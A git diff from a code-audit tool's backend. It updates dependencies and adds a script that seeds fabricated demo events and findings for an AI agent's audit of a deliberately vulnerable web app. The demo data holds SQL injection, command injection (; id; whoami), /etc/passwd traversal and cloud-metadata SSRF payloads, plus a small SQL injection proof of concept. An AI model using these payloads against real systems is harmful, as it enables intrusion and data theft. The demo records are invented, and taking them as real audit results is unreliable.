+SANDBOX_IMAGE=deepaudit/sandbox:latest # 沙箱内存限制 SANDBOX_MEMORY_LIMIT=512m diff --git a/backend/pyproject.toml b/backend/pyproject.toml index cc93d8a..9bf5c71 100644 --- a/backend/pyproject.toml +++ b/backend/pyproject.toml @@ -21,6 +21,7 @@ dependencies = [ "asyncpg>=0.29.0", "alembic>=1.13.0", "greenlet>=3.0.0", + "redis>=5.0.0", # ============ Data Validation ============ "pydantic>=2.0.0", diff --git a/backend/requirements-lock.txt b/backend/requirements-lock.txt index b3307b9..99ea56d 100644 --- a/backend/requirements-lock.txt +++ b/backend/requirements-lock.txt @@ -1,7 +1,7 @@ # This file was autogenerated by uv via the following command: -# uv pip compile requirements.txt -o requirements-lock.txt --python-version 3.12 +# uv pip compile pyproject.toml -o requirements-lock.txt aiofiles==25.1.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) aiohappyeyeballs==2.6.1 # via aiohttp aiohttp==3.13.2 @@ -11,7 +11,7 @@ aiohttp==3.13.2 aiosignal==1.4.0 # via aiohttp alembic==1.17.2 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) annotated-doc==0.0.4 # via fastapi annotated-types==0.7.0 @@ -26,7 +26,7 @@ anyio==4.11.0 asgiref==3.11.0 # via django asyncpg==0.31.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) attrs==25.4.0 # via # aiohttp @@ -37,14 +37,14 @@ authlib==1.6.6 backoff==2.2.1 # via posthog bandit==1.9.2 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) bcrypt==4.3.0 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # chromadb # passlib beautifulsoup4==4.14.3 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) boolean-py==5.0 # via license-expression brotli==1.2.0 @@ -70,7 +70,7 @@ charset-normalizer==3.4.4 # reportlab # requests chromadb==1.3.7 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) click==8.3.1 # via # litellm @@ -82,7 +82,7 @@ click==8.3.1 coloredlogs==15.0.1 # via onnxruntime colorlog==6.10.1 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) cryptography==46.0.3 # via # authlib @@ -100,11 +100,11 @@ distro==1.9.0 # openai # posthog django==6.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) dnspython==2.8.0 # via email-validator docker==7.1.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) dparse==0.6.4 # via # safety @@ -116,11 +116,11 @@ ecdsa==0.19.1 editorconfig==0.17.1 # via jsbeautifier email-validator==2.3.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) esprima==4.0.1 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) fastapi==0.122.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) fastuuid==0.14.0 # via litellm filelock==3.20.0 @@ -143,7 +143,7 @@ google-auth==2.43.0 googleapis-common-protos==1.72.0 # via opentelemetry-exporter-otlp-proto-grpc greenlet==3.3.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) grpcio==1.67.1 # via # chromadb @@ -161,7 +161,7 @@ httptools==0.7.1 # via uvicorn httpx==0.28.1 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # chromadb # huggingface-hub # langgraph-sdk @@ -190,7 +190,7 @@ importlib-resources==6.5.2 # via chromadb jinja2==3.1.6 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # litellm # safety jiter==0.12.0 @@ -198,9 +198,9 @@ jiter==0.12.0 joblib==1.5.2 # via nltk jsbeautifier==1.15.4 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) json-repair==0.54.2 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) jsonpatch==1.33 # via langchain-core jsonpointer==3.0.0 @@ -214,11 +214,11 @@ jsonschema-specifications==2025.9.1 kubernetes==34.1.0 # via chromadb langchain==1.1.3 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) langchain-classic==1.0.0 # via langchain-community langchain-community==0.4.1 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) langchain-core==1.2.0 # via # langchain @@ -230,12 +230,12 @@ langchain-core==1.2.0 # langgraph-checkpoint # langgraph-prebuilt langchain-openai==1.1.3 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) langchain-text-splitters==1.1.0 # via langchain-classic langgraph==1.0.5 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # langchain langgraph-checkpoint==3.0.1 # via @@ -253,7 +253,7 @@ langsmith==0.4.59 license-expression==30.4.4 # via cyclonedx-python-lib litellm==1.80.8 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) mako==1.3.10 # via alembic markdown-it-py==4.0.0 @@ -340,9 +340,9 @@ packaging==25.0 # safety # safety-schemas passlib==1.7.4 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) phply==1.2.6 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) pillow==12.0.0 # via # reportlab @@ -352,7 +352,7 @@ pip==25.3 pip-api==0.0.34 # via pip-audit pip-audit==2.10.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) pip-requirements-parser==32.0.1 # via pip-audit platformdirs==4.5.1 @@ -360,11 +360,11 @@ platformdirs==4.5.1 ply==3.11 # via phply portalocker==3.2.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) posthog==5.4.0 # via chromadb prettytable==3.17.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) propcache==0.4.1 # via # aiohttp @@ -389,7 +389,7 @@ pycparser==2.23 # via cffi pydantic==2.12.4 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # chromadb # fastapi # langchain @@ -406,16 +406,16 @@ pydantic-core==2.41.5 # via pydantic pydantic-settings==2.12.0 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # langchain-community pydyf==0.12.1 # via weasyprint pygments==2.19.2 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # rich pyjsparser==2.7.1 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) pyparsing==3.2.5 # via pip-requirements-parser pyphen==0.17.2 @@ -434,9 +434,9 @@ python-dotenv==1.2.1 # pydantic-settings # uvicorn python-jose==3.5.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) python-multipart==0.0.20 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) pyyaml==6.0.3 # via # bandit @@ -448,7 +448,9 @@ pyyaml==6.0.3 # langchain-core # uvicorn rarfile==4.2 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) +redis==7.1.0 + # via deepaudit-backend (pyproject.toml) referencing==0.37.0 # via # jsonschema @@ -458,7 +460,7 @@ regex==2025.11.3 # nltk # tiktoken reportlab==4.4.5 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) requests==2.32.5 # via # cachecontrol @@ -498,7 +500,7 @@ ruamel-yaml==0.18.16 ruamel-yaml-clib==0.2.15 # via ruamel-yaml safety==3.7.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) safety-schemas==0.0.16 # via safety shellingham==1.5.4 @@ -522,14 +524,14 @@ soupsieve==2.8 # via beautifulsoup4 sqlalchemy==2.0.44 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # alembic # langchain-classic # langchain-community sqlparse==0.5.4 # via django sse-starlette==3.0.3 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) starlette==0.50.0 # via fastapi stevedore==5.6.0 @@ -544,7 +546,7 @@ tenacity==9.1.2 # safety tiktoken==0.12.0 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # langchain-openai # litellm tinycss2==1.5.1 @@ -571,10 +573,10 @@ tqdm==4.67.1 # openai tree-sitter==0.25.2 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # tree-sitter-languages tree-sitter-languages==1.10.2 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) typer==0.20.0 # via # chromadb @@ -625,7 +627,7 @@ uuid-utils==0.12.0 # langsmith uvicorn==0.38.0 # via - # -r requirements.txt + # deepaudit-backend (pyproject.toml) # chromadb uvloop==0.22.1 # via uvicorn @@ -634,7 +636,7 @@ watchfiles==1.1.1 wcwidth==0.2.14 # via prettytable weasyprint==67.0 - # via -r requirements.txt + # via deepaudit-backend (pyproject.toml) webencodings==0.5.1 # via # cssselect2 diff --git a/backend/requirements.txt b/backend/requirements.txt index a42c7c9..1b18451 100644 --- a/backend/requirements.txt +++ b/backend/requirements.txt @@ -1,93 +1,76 @@ +# ============ Web Framework ============ fastapi>=0.100.0 -uvicorn[standard] +uvicorn[standard]>=0.23.0 +sse-starlette>=1.8.2 + +# ============ Database ============ sqlalchemy>=2.0.0 -asyncpg -alembic +asyncpg>=0.29.0 +alembic>=1.13.0 +greenlet>=3.0.0 +redis>=5.0.0 + +# ============ Data Validation ============ pydantic>=2.0.0 -pydantic-settings -passlib[bcrypt] -python-jose[cryptography] -python-multipart -httpx -email-validator -greenlet -bcrypt<5.0.0 +pydantic-settings>=2.0.0 +email-validator>=2.1.0 + +# ============ Authentication ============ +passlib[bcrypt]>=1.7.4 +python-jose[cryptography]>=3.3.0 +python-multipart>=0.0.6 +bcrypt>=4.0.0,<5.0.0 + +# ============ HTTP Client ============ +httpx>=0.25.0 + +# ============ LLM Integration ============ litellm>=1.0.0 +tiktoken>=0.5.2 + +# ============ Report Generation ============ reportlab>=4.0.0 -weasyprint>=66.0 +weasyprint>=60.0 jinja2>=3.1.6 + +# ============ Utilities ============ json-repair>=0.30.0 +aiofiles>=23.2.1 -# ============ Agent 模块依赖 ============ - -# LangChain 核心 +# ============ LangChain & LangGraph ============ langchain>=0.1.0 langchain-community>=0.0.20 langchain-openai>=0.0.5 - -# LangGraph (状态图工作流) langgraph>=0.0.40 -# 向量数据库 +# ============ Vector Database ============ chromadb>=0.4.22 -# Token 计算 -tiktoken>=0.5.2 - -# Docker 沙箱 -docker>=7.0.0 - -# 异步文件操作 -aiofiles>=23.2.1 - -# SSE 流 -sse-starlette>=1.8.2 - -# ============ 代码解析 (高级库) ============ - -# Tree-sitter AST 解析 +# ============ Code Parsing ============ tree-sitter>=0.21.0 tree-sitter-languages>=1.10.0 - -# 通用代码解析 pygments>=2.17.0 -# ============ 外部安全工具 (可选安装) ============ -# 这些工具可以通过 pip 安装,或使用系统包管理器 +# ============ Docker Sandbox ============ +docker>=7.0.0 -# Python 安全扫描 +# ============ Security Tools ============ bandit>=1.7.0 safety>=2.3.0 - -# 静态分析 (需要单独安装 semgrep CLI) -# pip install semgrep - -# 依赖漏洞扫描 pip-audit>=2.6.0 -# ============ Kunlun-M 依赖 (MIT License) ============ +# ============ Kunlun-M Dependencies (MIT License) ============ # https://github.com/LoRexxar/Kunlun-M -# Kunlun-M 是静态代码安全审计工具,支持 PHP/JS 语义分析 - -# PHP/JS 解析器 pyjsparser>=2.7.1 phply>=1.2.6 esprima>=4.0.1 jsbeautifier>=1.14.0 - -# 工具库 colorlog>=6.0.0 portalocker>=2.0.0 prettytable>=3.0.0 rarfile>=4.0 - -# HTML 解析 beautifulsoup4>=4.12.0 - -# Django (Kunlun-M 数据库) django>=4.2.0 -# MySQL 客户端 (可选,用于 Kunlun-M Web 模式) -# 如需 MySQL 支持,请安装: pip install mysqlclient -# 注意: mysqlclient 需要系统级 MySQL 开发库 - +# ============ Optional: MySQL support for Kunlun-M Web mode ============ +# mysqlclient>=2.2.0 diff --git a/backend/scripts/create_agent_demo_data.py b/backend/scripts/create_agent_demo_data.py new file mode 100644 index 0000000..2df7b25 --- /dev/null +++ b/backend/scripts/create_agent_demo_data.py @@ -0,0 +1,1296 @@ +#!/usr/bin/env python3 +""" +创建 Agent 审计任务演示数据 +用于生成 HTML 报告示例展示 + +运行方式: +cd backend && python -m scripts.create_agent_demo_data +""" + +import asyncio +import json +import uuid +import sys +import os +from datetime import datetime, timedelta, timezone + +# 添加backend目录到路径 +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession +from sqlalchemy.orm import sessionmaker +from sqlalchemy.future import select + +from app.core.config import settings +from app.models.user import User +from app.models.project import Project +from app.models.agent_task import ( + AgentTask, AgentEvent, AgentFinding, AgentTreeNode, AgentCheckpoint, + AgentTaskStatus, AgentTaskPhase, AgentEventType, + VulnerabilitySeverity, VulnerabilityType, FindingStatus +) + + +# 演示数据配置 +DEMO_PROJECT_NAME = "VulnWebApp - 安全演示项目" +DEMO_TASK_NAME = "智能漏洞挖掘审计 - 完整示例" + + +async def get_or_create_demo_project(db: AsyncSession, user_id: str) -> Project: + """获取或创建演示项目""" + result = await db.execute( + select(Project).where(Project.name == DEMO_PROJECT_NAME) + ) + project = result.scalars().first() + + if not project: + project = Project( + name=DEMO_PROJECT_NAME, + description="用于演示 Agent 智能审计功能的示例 Web 应用项目,包含多种常见安全漏洞", + source_type="zip", + owner_id=user_id, + is_active=True, + default_branch="main", + programming_languages=json.dumps(["Python", "JavaScript", "SQL"]), + created_at=datetime.now(timezone.utc) - timedelta(days=7), + ) + db.add(project) + await db.flush() + print(f"✓ 创建演示项目: {project.name}") + else: + print(f"演示项目已存在: {project.name}") + + return project + + +async def create_agent_demo_task(db: AsyncSession, project: Project, user_id: str) -> AgentTask: + """创建 Agent 审计任务演示数据""" + + # 检查是否已存在 + result = await db.execute( + select(AgentTask).where(AgentTask.name == DEMO_TASK_NAME) + ) + existing = result.scalars().first() + if existing: + print(f"删除已存在的演示任务: {existing.id}") + await db.delete(existing) + await db.flush() + + now = datetime.now(timezone.utc) + task_start = now - timedelta(minutes=15) + task_end = now - timedelta(minutes=2) + + # 创建 Agent 任务 + task = AgentTask( + id=str(uuid.uuid4()), + project_id=project.id, + created_by=user_id, + name=DEMO_TASK_NAME, + description="对 VulnWebApp 进行全面的安全漏洞扫描,包括 SQL 注入、XSS、命令注入等常见漏洞类型的检测与验证", + task_type="agent_audit", + + # 配置 + audit_scope={"include": ["**/*.py", "**/*.js", "**/*.html"], "exclude": ["tests/*", "node_modules/*"]}, + target_vulnerabilities=["sql_injection", "xss", "command_injection", "path_traversal", "ssrf", "hardcoded_secret"], + verification_level="sandbox", + branch_name="main", + exclude_patterns=["*.test.py", "*.spec.js", "__pycache__/*"], + + # LLM 配置 + llm_config={"provider": "openai", "model": "gpt-4", "temperature": 0.1}, + agent_config={"max_depth": 3, "enable_verification": True, "enable_poc_generation": True}, + max_iterations=50, + token_budget=100000, + timeout_seconds=1800, + + # 状态 + status=AgentTaskStatus.COMPLETED, + current_phase=AgentTaskPhase.REPORTING, + current_step="报告生成完成", + + # 进度统计 + total_files=48, + indexed_files=48, + analyzed_files=48, + total_chunks=156, + + # Agent 统计 + total_iterations=32, + tool_calls_count=87, + tokens_used=45680, + + # 发现统计 + findings_count=8, + verified_count=6, + false_positive_count=1, + + # 严重程度统计 + critical_count=2, + high_count=3, + medium_count=2, + low_count=1, + + # 评分 + quality_score=72.5, + security_score=35.8, + + # 审计计划 + audit_plan={ + "phases": [ + {"name": "代码索引", "description": "建立代码向量索引,支持语义检索"}, + {"name": "入口点识别", "description": "识别用户输入入口点和敏感API"}, + {"name": "漏洞模式匹配", "description": "基于已知漏洞模式进行检测"}, + {"name": "数据流分析", "description": "追踪污点数据流,验证漏洞可达性"}, + {"name": "沙箱验证", "description": "在隔离环境中验证漏洞可利用性"}, + {"name": "PoC 生成", "description": "为已验证漏洞生成概念验证代码"}, + ], + "focus_areas": ["用户认证模块", "数据库查询接口", "文件上传功能", "API 端点"], + }, + + # 时间戳 + created_at=task_start - timedelta(minutes=1), + started_at=task_start, + completed_at=task_end, + ) + + db.add(task) + await db.flush() + print(f"✓ 创建 Agent 任务: {task.id}") + + return task + + +async def create_agent_events(db: AsyncSession, task: AgentTask) -> list: + """创建 Agent 事件流""" + + events = [] + base_time = task.started_at + sequence = 0 + + def add_event(event_type: str, message: str, phase: str = None, + tool_name: str = None, tool_input: dict = None, + tool_output: dict = None, tool_duration_ms: int = None, + finding_id: str = None, tokens_used: int = 0, + metadata: dict = None, time_offset_seconds: int = 0): + nonlocal sequence + sequence += 1 + event = AgentEvent( + id=str(uuid.uuid4()), + task_id=task.id, + event_type=event_type, + phase=phase, + message=message, + tool_name=tool_name, + tool_input=tool_input, + tool_output=tool_output, + tool_duration_ms=tool_duration_ms, + finding_id=finding_id, + tokens_used=tokens_used, + event_metadata=metadata, + sequence=sequence, + created_at=base_time + timedelta(seconds=time_offset_seconds), + ) + events.append(event) + return event + + # ========== 任务启动 ========== + add_event( + AgentEventType.TASK_START, + "Agent 审计任务启动,开始智能漏洞挖掘", + metadata={"target_vulnerabilities": task.target_vulnerabilities}, + time_offset_seconds=0 + ) + + # ========== 规划阶段 ========== + add_event( + AgentEventType.PHASE_START, + "进入规划阶段 - 分析项目结构,制定审计策略", + phase=AgentTaskPhase.PLANNING, + time_offset_seconds=5 + ) + + add_event( + AgentEventType.THINKING, + "分析项目结构:检测到 Flask Web 应用框架,包含用户认证、数据库操作、文件处理等模块。重点关注 SQL 注入、XSS、命令注入等高危漏洞。", + phase=AgentTaskPhase.PLANNING, + tokens_used=450, + time_offset_seconds=10 + ) + + add_event( + AgentEventType.PLANNING, + "制定审计计划:1) 索引代码库 2) 识别入口点 3) 模式匹配检测 4) 数据流分析 5) 沙箱验证 6) 生成报告", + phase=AgentTaskPhase.PLANNING, + tokens_used=380, + time_offset_seconds=15 + ) + + add_event( + AgentEventType.PHASE_COMPLETE, + "规划阶段完成,识别出 12 个高优先级检查点", + phase=AgentTaskPhase.PLANNING, + time_offset_seconds=20 + ) + + # ========== 索引阶段 ========== + add_event( + AgentEventType.PHASE_START, + "进入索引阶段 - 构建代码向量索引", + phase=AgentTaskPhase.INDEXING, + time_offset_seconds=25 + ) + + add_event( + AgentEventType.TOOL_CALL, + "调用 RAG 索引工具,处理源代码文件", + phase=AgentTaskPhase.INDEXING, + tool_name="rag_index", + tool_input={"paths": ["app/", "routes/", "models/", "utils/"], "chunk_size": 1500}, + time_offset_seconds=30 + ) + + add_event( + AgentEventType.RAG_RESULT, + "代码索引完成:48 个文件,156 个代码块,向量维度 1536", + phase=AgentTaskPhase.INDEXING, + tool_name="rag_index", + tool_output={"files_indexed": 48, "chunks_created": 156, "vector_dim": 1536}, + tool_duration_ms=8500, + time_offset_seconds=45 + ) + + add_event( + AgentEventType.PHASE_COMPLETE, + "索引阶段完成", + phase=AgentTaskPhase.INDEXING, + time_offset_seconds=50 + ) + + # ========== 分析阶段 ========== + add_event( + AgentEventType.PHASE_START, + "进入分析阶段 - 执行漏洞检测", + phase=AgentTaskPhase.ANALYSIS, + time_offset_seconds=55 + ) + + # SQL 注入检测 + add_event( + AgentEventType.THINKING, + "开始检测 SQL 注入漏洞:搜索数据库查询相关代码,识别用户输入拼接到 SQL 语句的模式", + phase=AgentTaskPhase.ANALYSIS, + tokens_used=320, + time_offset_seconds=60 + ) + + add_event( + AgentEventType.RAG_QUERY, + "语义检索:查找 SQL 查询和用户输入处理代码", + phase=AgentTaskPhase.ANALYSIS, + tool_name="rag_search", + tool_input={"query": "SQL query user input parameter database execute", "top_k": 10}, + time_offset_seconds=65 + ) + + add_event( + AgentEventType.TOOL_CALL, + "读取文件: app/routes/user.py", + phase=AgentTaskPhase.ANALYSIS, + tool_name="read_file", + tool_input={"path": "app/routes/user.py", "start_line": 45, "end_line": 80}, + time_offset_seconds=70 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现 SQL 注入漏洞 [Critical]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "sql_injection", "severity": "critical", "file": "app/routes/user.py", "line": 52}, + time_offset_seconds=80 + ) + + # XSS 检测 + add_event( + AgentEventType.THINKING, + "开始检测 XSS 漏洞:搜索 HTML 渲染和用户输入输出相关代码", + phase=AgentTaskPhase.ANALYSIS, + tokens_used=280, + time_offset_seconds=120 + ) + + add_event( + AgentEventType.TOOL_CALL, + "读取文件: app/templates/comment.html", + phase=AgentTaskPhase.ANALYSIS, + tool_name="read_file", + tool_input={"path": "app/templates/comment.html"}, + time_offset_seconds=130 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现存储型 XSS 漏洞 [High]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "xss", "severity": "high", "file": "app/templates/comment.html", "line": 28}, + time_offset_seconds=145 + ) + + # 命令注入检测 + add_event( + AgentEventType.RAG_QUERY, + "语义检索:查找系统命令执行相关代码", + phase=AgentTaskPhase.ANALYSIS, + tool_name="rag_search", + tool_input={"query": "os.system subprocess shell command execute", "top_k": 10}, + time_offset_seconds=180 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现命令注入漏洞 [Critical]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "command_injection", "severity": "critical", "file": "app/utils/backup.py", "line": 34}, + time_offset_seconds=210 + ) + + # 路径遍历检测 + add_event( + AgentEventType.TOOL_CALL, + "分析文件操作代码", + phase=AgentTaskPhase.ANALYSIS, + tool_name="analyze_code", + tool_input={"pattern": "file path user input", "scope": "app/routes/"}, + time_offset_seconds=250 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现路径遍历漏洞 [High]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "path_traversal", "severity": "high", "file": "app/routes/download.py", "line": 18}, + time_offset_seconds=280 + ) + + # SSRF 检测 + add_event( + AgentEventType.FINDING_NEW, + "发现 SSRF 漏洞 [High]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "ssrf", "severity": "high", "file": "app/routes/proxy.py", "line": 42}, + time_offset_seconds=320 + ) + + # 硬编码密钥检测 + add_event( + AgentEventType.TOOL_CALL, + "扫描硬编码密钥和敏感信息", + phase=AgentTaskPhase.ANALYSIS, + tool_name="secret_scan", + tool_input={"patterns": ["api_key", "password", "secret", "token"]}, + time_offset_seconds=360 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现硬编码 API 密钥 [Medium]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "hardcoded_secret", "severity": "medium", "file": "app/config.py", "line": 15}, + time_offset_seconds=380 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现弱加密配置 [Medium]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "weak_crypto", "severity": "medium", "file": "app/utils/crypto.py", "line": 8}, + time_offset_seconds=400 + ) + + add_event( + AgentEventType.FINDING_NEW, + "发现调试模式未关闭 [Low]", + phase=AgentTaskPhase.ANALYSIS, + metadata={"vulnerability_type": "security_misconfiguration", "severity": "low", "file": "app/__init__.py", "line": 25}, + time_offset_seconds=420 + ) + + add_event( + AgentEventType.PHASE_COMPLETE, + "分析阶段完成,发现 8 个潜在漏洞", + phase=AgentTaskPhase.ANALYSIS, + time_offset_seconds=450 + ) + + # ========== 验证阶段 ========== + add_event( + AgentEventType.PHASE_START, + "进入验证阶段 - 在沙箱环境中验证漏洞", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=460 + ) + + # SQL 注入验证 + add_event( + AgentEventType.SANDBOX_START, + "启动沙箱环境验证 SQL 注入漏洞", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + time_offset_seconds=470 + ) + + add_event( + AgentEventType.SANDBOX_EXEC, + "执行 SQL 注入 PoC:' OR '1'='1' --", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_input={"payload": "' OR '1'='1' --", "target": "/api/user/search?name="}, + time_offset_seconds=480 + ) + + add_event( + AgentEventType.SANDBOX_RESULT, + "SQL 注入验证成功 - 成功绕过认证获取所有用户数据", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_output={"success": True, "response_code": 200, "data_leaked": True}, + tool_duration_ms=1200, + time_offset_seconds=490 + ) + + add_event( + AgentEventType.FINDING_VERIFIED, + "SQL 注入漏洞已验证 [Critical]", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=495 + ) + + # 命令注入验证 + add_event( + AgentEventType.SANDBOX_EXEC, + "执行命令注入 PoC:; id; whoami", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_input={"payload": "; id; whoami", "target": "/api/backup?filename="}, + time_offset_seconds=520 + ) + + add_event( + AgentEventType.SANDBOX_RESULT, + "命令注入验证成功 - 成功执行任意系统命令", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_output={"success": True, "output": "uid=1000(www-data) gid=1000(www-data)"}, + tool_duration_ms=800, + time_offset_seconds=535 + ) + + add_event( + AgentEventType.FINDING_VERIFIED, + "命令注入漏洞已验证 [Critical]", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=540 + ) + + # XSS 验证 + add_event( + AgentEventType.SANDBOX_EXEC, + "执行 XSS PoC:", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_input={"payload": "", "target": "/api/comment"}, + time_offset_seconds=560 + ) + + add_event( + AgentEventType.FINDING_VERIFIED, + "存储型 XSS 漏洞已验证 [High]", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=580 + ) + + # 路径遍历验证 + add_event( + AgentEventType.SANDBOX_EXEC, + "执行路径遍历 PoC:../../../etc/passwd", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_input={"payload": "../../../etc/passwd", "target": "/api/download?file="}, + time_offset_seconds=600 + ) + + add_event( + AgentEventType.FINDING_VERIFIED, + "路径遍历漏洞已验证 [High]", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=620 + ) + + # SSRF 验证 + add_event( + AgentEventType.SANDBOX_EXEC, + "执行 SSRF PoC:http://169.254.169.254/latest/meta-data/", + phase=AgentTaskPhase.VERIFICATION, + tool_name="sandbox", + tool_input={"payload": "http://169.254.169.254/latest/meta-data/", "target": "/api/proxy?url="}, + time_offset_seconds=640 + ) + + add_event( + AgentEventType.FINDING_VERIFIED, + "SSRF 漏洞已验证 [High]", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=660 + ) + + # 误报排除 + add_event( + AgentEventType.THINKING, + "验证硬编码密钥:检查是否为测试/示例配置", + phase=AgentTaskPhase.VERIFICATION, + tokens_used=180, + time_offset_seconds=680 + ) + + add_event( + AgentEventType.FINDING_FALSE_POSITIVE, + "硬编码密钥为误报 - 该文件为示例配置模板", + phase=AgentTaskPhase.VERIFICATION, + metadata={"reason": "File is example configuration template, not production code"}, + time_offset_seconds=700 + ) + + add_event( + AgentEventType.PHASE_COMPLETE, + "验证阶段完成:6 个漏洞已验证,1 个误报已排除", + phase=AgentTaskPhase.VERIFICATION, + time_offset_seconds=720 + ) + + # ========== 报告阶段 ========== + add_event( + AgentEventType.PHASE_START, + "进入报告阶段 - 生成安全审计报告", + phase=AgentTaskPhase.REPORTING, + time_offset_seconds=730 + ) + + add_event( + AgentEventType.TOOL_CALL, + "生成漏洞详情和修复建议", + phase=AgentTaskPhase.REPORTING, + tool_name="generate_report", + tool_input={"format": "html", "include_poc": True, "include_fix": True}, + time_offset_seconds=740 + ) + + add_event( + AgentEventType.INFO, + "报告生成完成:包含 8 个发现、6 个已验证漏洞、详细修复建议和 PoC 代码", + phase=AgentTaskPhase.REPORTING, + time_offset_seconds=760 + ) + + add_event( + AgentEventType.PHASE_COMPLETE, + "报告阶段完成", + phase=AgentTaskPhase.REPORTING, + time_offset_seconds=770 + ) + + # ========== 任务完成 ========== + add_event( + AgentEventType.TASK_COMPLETE, + "Agent 审计任务完成!发现 8 个安全问题,其中 2 个严重、3 个高危、2 个中危、1 个低危", + metadata={ + "total_findings": 8, + "verified": 6, + "false_positives": 1, + "severity_distribution": {"critical": 2, "high": 3, "medium": 2, "low": 1}, + "duration_seconds": 780, + "tokens_used": 45680, + }, + time_offset_seconds=780 + ) + + # 批量保存事件 + for event in events: + db.add(event) + + await db.flush() + print(f"✓ 创建了 {len(events)} 个 Agent 事件") + + return events + + +async def create_agent_findings(db: AsyncSession, task: AgentTask) -> list: + """创建 Agent 发现的漏洞""" + + findings_data = [ + { + "vulnerability_type": VulnerabilityType.SQL_INJECTION, + "severity": VulnerabilitySeverity.CRITICAL, + "title": "用户搜索接口存在 SQL 注入漏洞", + "description": "在 /api/user/search 接口中,用户输入的 name 参数直接拼接到 SQL 查询语句中,未经过任何过滤或参数化处理,攻击者可以通过构造恶意输入执行任意 SQL 语句。", + "file_path": "app/routes/user.py", + "line_start": 52, + "line_end": 58, + "function_name": "search_user", + "code_snippet": '''@app.route('/api/user/search') +def search_user(): + name = request.args.get('name', '') + # 危险:直接拼接用户输入到SQL语句 + query = f"SELECT * FROM users WHERE name LIKE '%{name}%'" + result = db.execute(query) + return jsonify(result.fetchall())''', + "source": "request.args.get('name')", + "sink": "db.execute(query)", + "dataflow_path": [ + {"step": 1, "location": "line 54", "description": "用户输入从 request.args.get() 获取"}, + {"step": 2, "location": "line 56", "description": "用户输入直接拼接到 SQL 字符串"}, + {"step": 3, "location": "line 57", "description": "拼接后的 SQL 被执行"}, + ], + "status": FindingStatus.VERIFIED, + "is_verified": True, + "verification_method": "沙箱验证 - 成功执行 SQL 注入攻击", + "verification_result": {"success": True, "payload": "' OR '1'='1' --", "impact": "绕过认证,获取所有用户数据"}, + "has_poc": True, + "poc_code": '''import requests + +# SQL 注入 PoC +target_url = "http://target.com/api/user/search" + +# Payload: 绕过认证获取所有用户 +payload = "' OR '1'='1' --" + +response = requests.get(target_url, params={"name": payload}) +print(f"Status: {response.status_code}") +print(f"Data: {response.json()}") + +# 预期结果:返回所有用户数据,而非仅匹配搜索条件的用户''', + 